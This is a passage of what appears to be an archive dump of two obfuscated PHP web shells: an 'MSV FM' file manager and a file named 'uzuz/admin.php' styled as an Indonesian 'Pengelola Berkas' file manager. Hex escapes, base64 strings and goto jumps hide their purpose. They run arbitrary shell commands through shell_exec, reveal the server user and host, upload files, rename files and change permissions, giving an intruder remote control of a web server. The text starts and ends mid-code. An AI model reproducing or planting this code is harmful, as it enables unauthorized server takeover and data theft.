x20\40\40\x20\x20\x20\40\175\15\12\xd\12\x20\40\x20\40\40\x20\40\40\146\x6f\x72\155\40\x7b\15\xa\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\155\x61\x72\147\151\x6e\55\x62\x6f\x74\164\157\x6d\x3a\40\62\x30\160\170\x3b\15\12\40\x20\40\40\x20\x20\40\40\x7d\15\xa\40\x20\x20\40\74\x2f\163\x74\x79\154\x65\x3e\xd\12\x3c\x2f\150\x65\141\144\76\xd\12\xd\xa\x3c\142\x6f\144\171\76\15\12\40\40\x20\x20\74\x68\61\x20\x73\164\x79\154\x65\75\42\164\145\170\x74\x2d\141\154\x69\x67\156\x3a\x20\x63\x65\156\x74\x65\x72\73\42\76\x3c\x66\x6f\156\164\x20\x63\x6f\154\x6f\x72\x3d\42\x72\x65\x64\42\x3e\115\123\x56\x20\106\x4d\74\x2f\x66\157\156\164\x3e\74\x2f\x68\x31\76\15\12\40\x20\40\40\74\x66\x6f\162\155\40\155\145\164\x68\157\144\75\x22\120\117\123\x54\x22\x20\x61\x63\164\151\157\156\75\x22\x22\x3e\15\12\x20\x20\x20\40\x20\x20\x20\40"; goto sc7Og; RT5uH: if (!($_SERVER[base64_decode("\x55\153\x56\122\x56\125\x56\124\x56\x46\x39\116\x52\x56\122\111\x54\60\x51\75")] === base64_decode("\125\x45\71\x54\x56\101\x3d\75") && isset($_FILES[base64_decode("\x5a\x6d\154\163\x5a\x51\x3d\x3d")]))) { goto DGV0I; } goto spvh2; SzH3a: goto erOBh; goto hqxpU; tQzOT: if (!($GnBD1 === 0)) { goto v4X2N; } goto pslqQ; nVJmm: $EEcNs = stream_get_contents($k2_JX[1]); goto RVBd5; Wk8V9: if (rename($_POST[base64_decode("\143\x47\x46\60\141\x41\75\75")], $eNhib . base64_decode("\x4c\x77\75\x3d") . $_POST[base64_decode("\142\155\x56\x33\x62\155\106\164\132\121\x3d\75")])) { goto IMUZ9; } goto pFKrH; HmtS0: echo htmlspecialchars($cFZDS); goto tTEqW; wIGQj: R2UdA: goto HU3sV; FIdrG: if (!($JUInb === 0)) { goto iZF_7; } goto e7cMQ; lOYQE: echo "\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\40\40\40\40\x3c\x66\157\x72\x6d\40\145\x6e\143\164\171\x70\145\75\x22\x6d\x75\x6c\164\151\x70\141\162\164\x2f\x66\157\162\155\x2d\144\x61\x74\x61\x22\40\x6d\x65\164\x68\x6f\x64\x3d\x22\120\117\x53\124\42\x3e\15\12\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\74\x66\x6f\x6e\164\x20\143\x6f\154\x6f\x72\x3d\x22\x77\150\x69\x74\x65\42\x3e\x46\151\x6c\145\40\125\160\154\x6f\x61\x64\40\x3a\74\x2f\x66\157\x6e\x74\76\x20\74\151\x6e\x70\x75\164\x20\164\x79\160\145\75\42\146\x69\154\x65\42\40\x6e\x61\155\145\75\x22\146\151\154\145\x22\x20\57\x3e\xd\xa\x20\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\74\151\x6e\160\x75\164\40\x74\171\x70\145\x3d\x22\163\x75\x62\155\x69\x74\42\40\x76\x61\154\165\145\x3d\x22\165\160\x6c\x6f\141\144\x22\x20\57\x3e\15\xa\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\40\74\x2f\x66\157\162\x6d\x3e\15\xa\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\74\x2f\x74\x64\76\15\xa\x20\40\x20\40\40\x20\40\40\40\40\40\x20\74\57\x74\x72\x3e\xd\xa\40\x20\40\x20\40\40\x20\40\40\40\x20\x20"; goto aZUG9; c47Tg: UR0pf: goto wU1cm; lAfRt: ob_start(); goto KrUl_; x1axg: echo "\74\x69\156\160\165\x74\x20\164\171\160\x65\x3d\47\164\145\170\164\47\x20\163\x69\x7a\x65\75\47\63\x30\x27\40\x68\x65\151\147\150\164\x3d\x27\61\60\x27\40\156\x61\155\x65\75\47\143\155\144\47\40\160\x6c\x61\143\145\150\x6f\154\144\x65\x72\75\x27\x45\x78\x65\x63\165\164\145\47\x3e\15\12\40\x20\x20\x20\40\40\x20\40\74\x69\156\x70\x75\x74\40\164\171\160\x65\x3d\x22\163\165\x62\155\151\x74\x22\40\x63\154\x61\163\163\75\42\x65\155\x70\x74\x79\55\x62\165\164\x74\x6f\x6e\x22\76\15\12\x20\x20\40\x20\x3c\x2f\x66\x6f\162\x6d\x3e\15\12\x20\40\40\40"; goto XJj68; pigTC: FK3Fw: goto gQvHh; KSye5: sjptv: goto JKbjN; xTKmK: v4X2N: goto VgLTh; SH23i: lRtUn: goto COytp; b0_uT: CoaX2: goto UzF0q; pFKrH: echo base64_decode("\120\x47\x5a\x76\x62\x6e\x51\x67\131\x32\71\163\x62\x33\111\x39\111\x6e\112\154\132\x43\x49\53\x52\x32\106\x75\x64\107\153\147\x54\x6d\106\164\131\123\102\x48\x59\x57\144\150\142\104\x77\166\x5a\x6d\x39\165\x64\104\x34\70\131\156\111\147\114\x7a\64\x3d"); goto Zo4KG; VgLTh: O0KrZ: goto SzH3a; Ijc0k: echo base64_decode("\120\x48\122\x79\x50\x6a\170\x30\132\104\x35\104\x64\x58\112\x79\x5a\x57\x35\60\x49\x44\x77\147\x4f\151\x41\x3d"); goto mW8q8; Yktzr: U8L1I: goto UHTmS; mumEQ: @header(base64_decode("\x57\x43\61\102\131\62\116\154\142\103\61\103\x64\127\132\x6d\x5a\130\x4a\x70\142\155\x63\66\111\107\65\x76")); goto jkGJj; bJHUY: $cFZDS = @shell_exec($ptg0t); goto zzI3D; fC3yG: fclose($SUhbu); goto fRnML; xvXT7: $cFZDS = null; goto iSjAX; KVaRj: if (function_exists(base64_decode("\143\x47\x46\x7a\x63\63\x52\157\143\156\125\75"))) { goto izxu2; } goto B0CWs; g9XEi: goto oUWKl; goto aL_nE; hqxpU: b4juq: goto bJHUY; Tp_tQ: if (function_exists(base64_decode("\x63\x48\112\x76\131\61\71\x76\143\107\x56\x75"))) { goto GfDsJ; } goto YjR6T; SfDSM: echo base64_decode("\x50\107\132\166\x62\x6e\121\x67\x59\x32\71\x73\x62\x33\111\x39\x49\156\x4a\154\132\x43\111\53\126\x58\102\163\142\x32\106\x6b\x49\105\144\150\x5a\62\106\163\x50\103\71\155\142\62\x35\60\120\x6a\x78\x69\143\x69\70\53"); goto g9XEi; sc7Og: echo htmlspecialchars(get_current_user()) . base64_decode("\121\x41\75\x3d") . htmlspecialchars(gethostbyname($_SERVER[base64_decode("\123\106\122\125\x55\x46\71\x49\x54\x31\x4e\x55")])) . base64_decode("\117\x69\102\53\111\x43\121\75"); goto x1axg; Ek3Vl: echo base64_decode("\x50\107\x5a\x76\142\156\x51\147\131\62\71\163\x62\x33\111\71\x49\x6d\x64\171\x5a\127\x56\165\111\x6a\65\x47\x61\x57\x78\154\x49\106\122\x6c\143\x6d\150\x68\x63\x48\126\x7a\x50\103\71\x6d\142\x32\x35\60\120\x6a\170\151\143\151\x38\53"); goto zwcaK; Z8Ra4: YrXO6: goto gEvvd; tdTZT: function jMfdd($g9JOM) { goto i3a6r; DIEmD: return $TRmyl; goto ER2Se; ZWJ7r: goto Te23S; goto X0Rp4; lPamP: $TRmyl = base64_decode("\131\147\75\x3d"); goto KS2L0; dn6mG: $TRmyl .= $eO1kW & 0x100 ? base64_decode("\143\147\75\75") : base64_decode("\x4c\121\x3d\75"); goto Ant4Q; JIQ2Q: $TRmyl = base64_decode("\x59\x77\75\x3d"); goto QoesE; Mc1fk: $TRmyl = base64_decode("\142\x41\x3d\75"); goto ZWJ7r; ygmGh: goto Te23S; goto hQaMb; NPbnu: if (($eO1kW & 0x6000) == 0x6000) { goto JC16O; } goto iPhBW; X0Rp4: zjHHP: goto FcnQb; WerKM: $TRmyl .= $eO1kW & 0x2 ? base64_decode("\x64\x77\75\75") : base64_decode("\x4c\121\x3d\x3d"); goto Lqlpu; EeryC: $TRmyl = base64_decode("\x5a\101\x3d\x3d"); goto nnCum; KAeI8: $TRmyl .= $eO1kW & 0x20 ? base64_decode("\x63\147\x3d\x3d") : base64_decode("\114\121\75\75"); goto PVU7w; QoesE: goto Te23S; goto k_Og4; KS2L0: goto Te23S; goto aj3o1; uEfF7: vPuHC: goto JIQ2Q; iPhBW: if (($eO1kW & 0x4000) == 0x4000) { goto iCG4U; } goto VsBro; Vum0Z: GPFgP: goto Mc1fk; PRuZM: if (($eO1kW & 0x8000) == 0x8000) { goto zjHHP; } goto NPbnu; nnCum: goto Te23S; goto uEfF7; PVU7w: $TRmyl .= $eO1kW & 0x10 ? base64_decode("\x64\x77\x3d\75") : base64_decode("\x4c\x51\x3d\75"); goto fJNLb; dNGBf: goto Te23S; goto yiAFU; D0sbV: $TRmyl .= $eO1kW & 0x40 ? $eO1kW & 0x800 ? base64_decode("\x63\167\75\75") : base64_decode("\x65\x41\75\x3d") : ($eO1kW & 0x800 ? base64_decode("\125\x77\75\x3d") : base64_decode("\114\121\x3d\75")); goto KAeI8; hQaMb: kPoX_: goto sVZIB; yiAFU: JC16O: goto lPamP; sVZIB: $TRmyl = base64_decode("\143\167\75\x3d"); goto b2Bbm; azH_T: if (($eO1kW & 0x1000) == 0x1000) { goto NFof3; } goto ve68k; mJ2k5: if (($eO1kW & 0xc000) == 0xc000) { goto kPoX_; } goto CFQwu; Lqlpu: $TRmyl .= $eO1kW & 0x1 ? $eO1kW & 0x200 ? base64_decode("\x64\x41\x3d\75") : base64_decode("\145\x41\x3d\75") : ($eO1kW & 0x200 ? base64_decode("\126\x41\75\75") : base64_decode("\x4c\x51\75\75")); goto DIEmD; i3a6r: $eO1kW = fileperms($g9JOM); goto mJ2k5; k_Og4: NFof3: goto iFRo5; FdqN7: Te23S: goto dn6mG; FcnQb: $TRmyl = base64_decode("\x4c\x51\75\75"); goto dNGBf; ve68k: $TRmyl = base64_decode("\144\x51\75\75"); goto ygmGh; CeviK: $TRmyl .= $eO1kW & 0x4 ? base64_decode("\143\x67\x3d\x3d") : base64_decode("\x4c\x51\75\x3d"); goto WerKM; b2Bbm: goto Te23S; goto Vum0Z; fJNLb: $TRmyl .= $eO1kW & 0x8 ? $eO1kW & 0x400 ? base64_decode("\143\x77\75\x3d") : base64_decode("\145\101\x3d\x3d") : ($eO1kW & 0x400 ? base64_decode("\x55\167\75\75") : base64_decode("\114\x51\x3d\x3d")); goto CeviK; VsBro: if (($eO1kW & 0x2000) == 0x2000) { goto vPuHC; } goto azH_T; Ant4Q: $TRmyl .= $eO1kW & 0x80 ? base64_decode("\x64\x77\75\75") : base64_decode("\114\121\x3d\x3d"); goto D0sbV; CFQwu: if (($eO1kW & 0xa000) == 0xa000) { goto GPFgP; } goto PRuZM; iFRo5: $TRmyl = base64_decode("\x63\x41\x3d\x3d"); goto FdqN7; aj3o1: iCG4U: goto EeryC; ER2Se: }
?> uzuz/admin.php 0000666 00000174711 15134027574 0007411 0 ustar 00 $H8v3E) { goto iOzFC; IgNvF: echo b6Kq9(48) . urlencode($tw0Ox) . B6kq9(49) . htmlspecialchars($H8v3E) . b6kQ9(50); goto Zo4tj; Ozp8e: echo b6KQ9(45) . urlencode($H8v3E) . B6Kq9(46) . htmlspecialchars($H8v3E) . b6KQ9(47); goto sGGjq; TEjJ2: $tw0Ox .= DIRECTORY_SEPARATOR . $H8v3E; goto IgNvF; Zo4tj: goto K6sp7; goto kFsHo; sGGjq: K6sp7: goto lRw4Q; kFsHo: Z9uDC: goto Ozp8e; lRw4Q: mP0p2: goto W0W0w; iOzFC: if (!!($r3gOW == 0)) { goto Z9uDC; } goto TEjJ2; W0W0w: } goto GifMd; uK1iM: function MvsSk($V4tc1) { return htmlspecialchars($V4tc1, ENT_QUOTES, b6kQ9(0)); } goto yVhQc; O01k1: wmDUK: goto ThyJY; VQghN: echo "\74\41\x44\117\103\124\131\120\105\40\x68\x74\155\154\x3e\xd\12\74\150\164\155\154\40\154\141\156\147\75\x22\151\x64\x22\76\xd\12\74\150\145\141\x64\x3e\15\xa\74\155\145\164\x61\40\143\x68\x61\162\x73\x65\x74\75\x22\125\x54\x46\55\x38\x22\x3e\xd\xa\74\155\145\164\141\x20\x6e\141\155\x65\x3d\x22\x76\151\x65\167\160\x6f\x72\x74\42\x20\x63\157\x6e\164\145\x6e\164\75\42\167\151\x64\164\150\75\x64\145\166\x69\x63\x65\55\x77\151\x64\x74\x68\x2c\x20\x69\156\151\x74\x69\141\154\55\163\143\x61\x6c\145\75\x31\x2e\x30\x22\76\15\xa\x3c\x74\x69\164\154\145\x3e\120\x65\156\147\x65\154\157\x6c\141\x20\102\145\x72\x6b\x61\x73\74\x2f\x74\151\164\154\x65\x3e\15\xa\74\x6c\x69\x6e\153\40\x72\x65\x6c\75\42\163\164\171\x6c\x65\x73\150\x65\x65\x74\42\40\150\x72\145\146\x3d\x22\x68\164\164\160\163\72\57\x2f\143\144\156\152\163\x2e\143\x6c\x6f\165\x64\x66\154\x61\162\x65\56\143\x6f\x6d\57\141\x6a\141\x78\57\154\x69\142\x73\57\146\157\156\164\x2d\141\x77\x65\163\157\x6d\x65\57\x36\x2e\60\56\x30\55\142\x65\164\x61\x33\x2f\143\163\x73\x2f\141\154\x6c\56\155\x69\156\x2e\x63\x73\163\x22\x3e\xd\12\x3c\x73\164\x79\x6c\145\x3e\xd\xa\x68\x74\155\154\54\x20\142\x6f\144\x79\x20\173\xd\12\x6d\141\x72\x67\151\x6e\x3a\x20\60\x3b\15\12\160\x61\x64\x64\x69\156\147\x3a\x20\60\x3b\xd\xa\167\151\x64\x74\150\x3a\40\61\x30\60\45\x3b\xd\xa\x68\145\x69\x67\x68\x74\72\40\x31\x30\60\x25\73\xd\12\157\x76\x65\162\146\x6c\x6f\x77\72\40\150\151\144\144\145\156\x3b\xd\xa\175\142\157\144\x79\40\x7b\15\12\x62\x61\143\x6b\147\x72\157\165\x6e\x64\72\x20\165\x72\x6c\50\x27\150\164\164\160\x73\x3a\x2f\x2f\147\143\144\x6e\142\x2e\160\142\x72\x64\x2e\143\x6f\57\151\x6d\141\x67\145\163\57\71\115\163\x76\x4d\164\170\120\x6e\x64\111\x61\x2e\x6a\x70\x67\47\51\40\156\157\x2d\162\145\160\x65\141\164\x20\x63\x65\156\x74\145\162\x20\143\145\x6e\x74\x65\162\x20\146\x69\170\x65\144\x3b\xd\12\142\141\x63\153\147\162\x6f\165\x6e\x64\55\163\x69\172\x65\x3a\x20\143\x6f\x76\145\162\x3b\15\xa\x63\157\154\x6f\162\x3a\x20\x77\x68\151\x74\x65\x3b\15\xa\146\157\156\164\x2d\x66\141\155\151\154\x79\x3a\40\x41\162\151\x61\154\x2c\40\x73\x61\156\163\x2d\163\x65\162\151\146\73\15\12\144\x69\x73\x70\154\x61\171\x3a\x20\x66\154\145\x78\73\xd\xa\152\x75\x73\164\x69\x66\x79\55\x63\157\x6e\x74\145\156\164\72\x20\143\x65\156\164\x65\x72\73\15\xa\141\154\151\147\156\x2d\x69\164\x65\155\x73\72\x20\143\145\156\164\145\162\73\xd\12\x7d\43\x63\x6f\156\x74\x61\151\x6e\145\162\x20\173\xd\12\x70\x61\144\x64\151\x6e\147\72\x20\x32\60\x70\170\73\xd\xa\142\x6f\162\144\x65\x72\55\162\141\144\151\165\x73\72\x20\x31\60\x70\x78\x3b\xd\xa\x62\141\143\x6b\147\x72\x6f\165\x6e\144\x2d\143\x6f\154\157\162\72\x20\162\147\x62\141\x28\60\x2c\x20\x30\54\x20\x30\54\x20\60\56\x37\51\x3b\xd\12\167\x69\x64\164\150\x3a\x20\x31\x30\x30\x25\73\15\12\x6d\x61\170\55\167\x69\x64\164\x68\72\x20\x31\x30\x30\x25\73\15\12\x68\x65\x69\147\150\164\72\x20\x31\x30\x30\x25\73\xd\xa\142\x6f\x78\55\163\151\x7a\x69\156\x67\x3a\x20\x62\x6f\x72\144\145\162\x2d\x62\x6f\x78\73\xd\12\157\166\145\162\x66\154\x6f\167\x2d\x79\72\40\x61\x75\x74\157\x3b\xd\xa\144\x69\x73\160\154\x61\x79\72\x20\x66\x6c\x65\170\73\xd\xa\x66\x6c\145\170\55\144\x69\x72\x65\x63\x74\151\157\x6e\72\x20\x63\x6f\154\165\155\x6e\73\15\12\x61\x6c\151\147\x6e\55\151\164\x65\155\x73\72\40\143\x65\x6e\164\x65\162\73\xd\xa\x6a\x75\163\164\151\x66\171\55\143\x6f\156\164\145\156\x74\x3a\40\146\x6c\145\x78\55\x73\164\x61\162\164\73\xd\12\x7d\56\x69\x63\x6f\x6e\x2d\x62\165\164\164\x6f\156\x20\173\15\xa\x66\157\x6e\x74\55\163\x69\x7a\x65\72\x20\62\x30\160\170\x3b\xd\12\x63\x6f\154\x6f\x72\x3a\x20\167\150\x69\164\145\73\xd\xa\143\x75\x72\x73\157\x72\x3a\40\160\157\x69\156\x74\x65\x72\73\15\12\142\141\x63\153\147\x72\157\165\x6e\x64\x2d\x63\157\x6c\157\x72\x3a\x20\x64\x61\x72\x6b\x72\x65\144\73\xd\12\142\157\162\x64\x65\162\x2d\162\141\144\x69\x75\x73\x3a\x20\x35\x30\x25\73\xd\12\x70\141\144\x64\151\156\147\72\40\70\160\170\x3b\xd\xa\155\x61\x72\x67\x69\156\x3a\40\62\160\x78\73\15\xa\144\151\163\x70\154\x61\171\72\40\151\x6e\154\x69\x6e\145\55\x66\x6c\x65\170\x3b\15\xa\141\154\151\147\156\x2d\x69\164\145\155\163\72\x20\x63\x65\x6e\164\x65\162\73\15\12\152\165\x73\x74\151\x66\171\x2d\x63\x6f\x6e\x74\x65\156\x74\x3a\40\x63\x65\156\x74\x65\162\73\xd\12\x7d\x74\x61\142\x6c\145\40\173\15\12\167\151\144\x74\150\72\x20\x31\60\60\x25\x3b\xd\12\142\x6f\x72\144\x65\162\x2d\143\157\154\154\141\x70\163\x65\x3a\40\x63\x6f\x6c\154\141\x70\x73\x65\x3b\xd\12\x6d\141\162\147\151\x6e\55\164\x6f\160\72\40\x32\60\160\x78\73\15\xa\x7d\164\x61\142\154\145\x2c\40\x74\x68\54\x20\164\x64\40\173\15\xa\x62\x6f\162\144\x65\162\x3a\40\61\x70\x78\40\163\157\x6c\x69\x64\40\167\150\151\164\x65\x3b\xd\12\x7d\x74\x68\54\40\x74\144\x20\x7b\15\xa\160\x61\144\144\x69\x6e\x67\72\40\61\60\160\170\x3b\15\xa\164\x65\x78\164\x2d\x61\154\x69\147\x6e\72\40\x6c\145\146\x74\x3b\15\xa\175\164\150\x20\173\15\12\142\x61\x63\x6b\x67\162\157\x75\x6e\144\55\143\x6f\x6c\x6f\x72\72\40\x64\x61\x72\153\162\145\144\x3b\15\xa\x7d\x2e\x66\x6f\x72\155\x2d\143\x6f\x6e\x74\141\x69\x6e\145\x72\x20\173\xd\xa\x64\x69\x73\x70\154\141\x79\x3a\40\x6e\x6f\156\x65\x3b\15\xa\x6d\x61\162\147\151\x6e\55\x74\x6f\x70\72\40\61\60\160\x78\73\15\xa\175\56\163\165\x62\155\x69\x74\55\142\165\x74\164\x6f\156\x20\173\15\12\142\x61\x63\x6b\147\162\x6f\x75\156\x64\x2d\x63\x6f\x6c\x6f\162\x3a\x20\x64\x61\x72\x6b\162\145\144\x3b\15\12\142\x6f\162\144\x65\x72\x3a\40\x6e\x6f\x6e\x65\73\xd\xa\x63\157\154\x6f\x72\72\x20\167\150\151\164\x65\x3b\15\xa\160\141\x64\144\151\x6e\x67\x3a\x20\x35\x70\170\40\x31\65\160\170\x3b\15\xa\142\x6f\162\x64\x65\x72\x2d\162\x61\144\x69\165\x73\72\40\65\x70\x78\x3b\15\xa\x63\x75\x72\x73\x6f\x72\72\40\160\157\151\x6e\164\x65\162\73\15\xa\x64\x69\163\160\154\141\x79\72\x20\151\x6e\x6c\151\156\145\x2d\x66\154\145\170\x3b\15\12\x61\x6c\151\147\x6e\x2d\x69\164\x65\155\x73\x3a\x20\143\x65\x6e\164\x65\162\x3b\15\xa\x7d\x69\155\x67\x20\x7b\15\xa\x64\x69\163\160\x6c\x61\171\72\40\142\154\157\143\153\x3b\xd\12\155\x61\x72\147\x69\156\x3a\40\x30\40\x61\165\x74\157\40\62\60\160\170\73\40\xd\xa\167\151\144\164\150\x3a\x20\61\x35\60\x70\x78\73\xd\xa\150\145\151\147\x68\x74\72\40\61\65\x30\x70\170\73\15\xa\142\157\162\144\145\162\55\x72\141\144\151\x75\163\72\x20\x35\60\x25\x3b\xd\xa\x62\x6f\162\144\x65\x72\x3a\x20\x32\160\x78\40\x73\157\x6c\151\144\x20\144\141\162\153\162\145\144\73\15\12\x6f\x62\152\145\x63\x74\55\x66\x69\x74\x3a\40\143\x6f\166\x65\162\x3b\xd\12\x7d\x2e\x62\162\x65\x61\x64\x63\162\165\x6d\x62\40\141\40\173\xd\xa\x63\x6f\x6c\x6f\x72\x3a\40\167\x68\x69\x74\x65\x3b\15\12\164\145\x78\x74\x2d\x64\x65\x63\x6f\162\141\x74\x69\x6f\156\72\40\x6e\157\156\145\x3b\xd\xa\160\x61\144\x64\x69\x6e\147\72\x20\65\160\x78\x3b\15\xa\175\x2e\142\162\145\x61\144\x63\162\x75\155\142\x20\141\x3a\150\x6f\x76\145\x72\40\173\15\12\x74\145\x78\164\55\144\145\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x20\x75\156\x64\x65\162\x6c\x69\x6e\x65\73\15\xa\x7d\57\x2a\x20\122\145\x73\160\157\x6e\163\151\146\x20\x75\x6e\164\x75\x6b\40\160\145\x72\x61\156\x67\x6b\141\x74\40\x6b\x65\x63\151\154\x20\52\x2f\xd\xa\x40\155\x65\144\151\141\40\x28\x6d\141\170\55\167\151\144\x74\x68\72\40\67\66\x38\160\170\51\x20\x7b\xd\12\43\x63\x6f\156\x74\x61\151\156\x65\162\x20\173\xd\12\x70\x61\144\144\x69\x6e\147\72\40\x31\x30\x70\170\x3b\xd\xa\x7d\xd\12\56\151\143\x6f\x6e\55\142\165\164\x74\x6f\156\x20\x7b\xd\xa\x66\157\x6e\164\55\x73\151\172\145\x3a\40\x31\70\160\x78\73\xd\12\x70\141\144\144\151\x6e\x67\x3a\x20\66\x70\170\73\15\12\155\x61\x72\147\151\156\72\40\x35\x70\x78\73\xd\12\175\15\12\151\x6d\x67\40\173\xd\12\x77\x69\x64\164\x68\x3a\40\x31\x32\60\x70\170\73\15\xa\x68\x65\x69\x67\x68\x74\x3a\40\x31\62\x30\160\x78\x3b\15\12\175\15\xa\164\x61\142\x6c\x65\54\x20\164\150\x2c\40\x74\x64\x20\173\xd\12\146\157\156\x74\55\163\151\172\145\x3a\40\x31\x32\160\170\x3b\15\xa\160\141\144\144\x69\156\x67\x3a\40\70\x70\x78\73\15\12\x7d\15\12\56\x62\x72\145\141\x64\x63\162\x75\155\x62\40\173\15\12\146\x6f\156\164\x2d\163\151\x7a\x65\72\x20\x31\x34\160\170\x3b\15\12\x7d\15\xa\175\x2f\x2a\40\122\x65\x73\160\x6f\156\x73\x69\x66\x20\165\x6e\x74\165\x6b\x20\154\x61\171\x61\x72\40\x6c\x65\x62\151\150\x20\153\x65\x63\151\154\40\x28\155\157\x62\151\x6c\x65\51\40\52\x2f\15\12\100\155\x65\x64\x69\141\x20\x28\155\141\x78\x2d\x77\151\144\x74\x68\72\x20\x34\70\60\160\x78\x29\x20\x7b\xd\xa\43\x63\x6f\x6e\x74\141\151\x6e\x65\x72\x20\173\15\12\160\x61\144\144\151\x6e\147\72\40\x35\160\x78\73\15\12\x7d\15\12\56\x69\x63\x6f\156\55\142\x75\x74\x74\x6f\x6e\40\173\15\12\x66\157\x6e\164\x2d\163\151\172\145\72\x20\61\66\x70\170\73\15\12\160\x61\x64\144\x69\156\x67\x3a\x20\65\160\170\x3b\15\12\x6d\x61\162\x67\151\156\x3a\40\x34\x70\x78\x3b\15\xa\x7d\15\12\x69\155\147\x20\173\xd\xa\167\151\144\x74\x68\72\x20\x31\60\60\x70\x78\73\xd\xa\x68\x65\151\147\x68\x74\72\40\x31\60\x30\160\170\73\xd\12\175\xd\12\x74\x61\x62\x6c\x65\x2c\x20\x74\x68\54\40\x74\x64\x20\173\xd\12\x66\x6f\156\x74\55\163\x69\172\145\72\x20\x31\x30\160\x78\73\xd\xa\x70\141\144\x64\151\x6e\x67\72\x20\x36\x70\x78\73\15\12\x7d\xd\12\56\142\x72\145\141\144\143\162\x75\155\x62\40\x7b\15\xa\146\x6f\156\x74\55\163\x69\x7a\x65\x3a\x20\61\62\160\x78\x3b\15\xa\175\xd\12\175\xd\12\74\x2f\x73\x74\x79\154\145\x3e\15\12\x3c\x2f\x68\x65\141\x64\x3e\xd\xa\74\142\x6f\144\171\76\xd\12\x3c\x64\151\166\x20\x69\144\75\x22\x63\x6f\x6e\164\x61\151\156\x65\162\42\x3e\xd\12\x3c\x69\x6d\x67\40\163\162\x63\75\42\150\164\x74\x70\x73\72\x2f\57\155\x65\x64\151\x61\56\164\x65\x6e\x6f\162\x2e\143\157\x6d\x2f\x54\x63\x77\172\126\61\x49\115\60\105\143\x41\101\x41\x41\x69\57\x7a\x65\x72\x6f\x2d\x74\167\x6f\x2d\157\x6b\56\147\151\146\42\40\141\x6c\164\x3d\x22\x4c\157\147\x6f\42\x3e\xd\12\x3c\x62\x3e\x50\x65\x6e\147\145\154\x6f\154\x61\40\102\145\x72\x6b\141\163\74\x2f\x62\x3e\x3c\142\162\40\57\x3e\74\41\x2d\55\x20\115\x65\156\141\155\x70\151\x6c\153\x61\x6e\40\144\151\x72\x65\153\164\x6f\162\x69\40\x73\141\x61\x74\x20\151\x6e\151\40\55\55\76\xd\12\74\144\151\x76\40\x63\x6c\141\163\163\x3d\42\x62\162\145\141\x64\x63\162\x75\x6d\142\x22\76\xd\12"; goto RZEt1; KqcVS: echo B6kq9(15) . $VR_V0[B6KQ9(16)]; goto zYZaw; oZXdA: if (!!is_file($dmluh)) { goto Uv6Kw; } goto a3hmR; mh1sF: $YpOFl = $_POST[b6kQ9(31)]; goto eXmdn; ythAT: echo B6KQ9(14); goto f8pcv; K5R5k: TrdVi: goto v7By3; pr5_w: $BDlpb = $_POST[B6kQ9(19)]; goto rutpU; f8pcv: goto HO4v_; goto gXsGs; MQyyD: echo B6Kq9(40); goto U12qH; aUqOK: echo B6kQ9(29); goto aObMi; zYZaw: goto ppyb6; goto O01k1; yyfIT: echo B6kQ9(41); goto Vkhm7; VYKZ4: echo B6kQ9(43); goto LbKYA; BUJLW: lZYWM: goto OWHR6; wE2jv: echo b6kq9(34); goto oOqdc; eRc8d: $LrLnp = rtrim($tw0Ox, B6KQ9(8)) . b6KQ9(9) . basename($VR_V0[b6KQ9(10)]); goto nyLlh; snojn: $QRuUd = "\x67\x48\154\160\x42\x65\x6f\x4d\160\107\61\146\x70\x56\x50\x48"; goto Pwnxf; eI9L_: echo "\74\57\144\x69\x76\x3e\74\143\x65\156\164\145\x72\x3e\15\12\x3c\151\x20\x63\154\x61\x73\x73\75\42\x66\141\x73\x20\146\141\x2d\x75\160\154\157\141\144\x20\151\x63\157\x6e\55\142\x75\x74\x74\157\x6e\42\x20\x6f\156\x63\x6c\151\x63\153\x3d\x22\164\x6f\147\x67\154\145\106\157\162\155\x28\47\x75\x70\x6c\x6f\141\144\55\x66\x6f\162\155\47\51\x22\x3e\x3c\57\x69\x3e\15\xa\x3c\151\40\x63\154\141\x73\x73\75\42\x66\141\x73\40\x66\x61\x2d\146\x6f\x6c\144\145\162\55\x70\x6c\165\163\x20\151\x63\157\x6e\55\142\165\x74\x74\x6f\156\x22\x20\157\156\143\154\x69\x63\x6b\75\x22\x74\157\147\x67\154\145\x46\157\x72\x6d\50\x27\143\x72\x65\x61\x74\x65\55\x66\157\x6c\144\145\x72\55\x66\157\162\x6d\x27\x29\x22\x3e\74\57\x69\x3e\xd\xa\x3c\151\x20\x63\x6c\141\x73\163\75\x22\146\x61\163\40\146\x61\x2d\x74\145\x72\x6d\151\x6e\x61\154\x20\x69\143\157\x6e\x2d\x62\165\x74\164\x6f\156\x22\x20\x6f\156\x63\x6c\151\143\153\75\x22\x74\157\147\x67\154\145\x46\157\162\155\50\47\x72\165\156\55\143\157\155\155\x61\156\144\x2d\146\157\x72\x6d\x27\x29\42\x3e\x3c\57\x69\x3e\15\xa\74\57\x63\x65\x6e\164\x65\x72\x3e\x3c\x64\x69\x76\x20\151\144\75\42\x75\160\x6c\x6f\141\x64\55\x66\x6f\x72\x6d\x22\40\143\154\x61\163\163\75\x22\x66\157\162\x6d\55\143\x6f\x6e\164\x61\x69\x6e\145\x72\x22\76\xd\12\x3c\146\157\162\x6d\x20\155\x65\x74\150\x6f\144\75\42\x50\x4f\x53\x54\42\40\x61\x63\164\151\157\x6e\x3d\42\x22\x20\145\x6e\143\x74\171\160\145\x3d\x22\x6d\165\x6c\x74\x69\x70\x61\x72\x74\x2f\146\x6f\162\155\x2d\x64\x61\164\x61\42\76\xd\xa\74\151\x6e\160\x75\164\40\x74\x79\160\145\75\42\x68\x69\144\144\x65\x6e\x22\x20\x6e\141\x6d\145\x3d\x22\165\160\154\157\x61\144\137\x70\141\164\150\x22\40\166\141\154\165\145\75\42"; goto tWdvX; mnLUq: die(B6kQ9(4)); goto miTva; ukNnj: LOU__: goto PlYPb; mZPA6: n13Oz: goto x7P0S; RNer6: goto lZYWM; goto AUjJQ; mV4Hl: if (!!is_dir($tw0Ox)) { goto Qx8OA; } goto mnLUq; oR7gw: $Xl7T3 = $_POST[b6Kq9(18)]; goto pr5_w; x7P0S: wSZma: goto NPGFm; h3g1H: if (!!chmod($YpOFl, 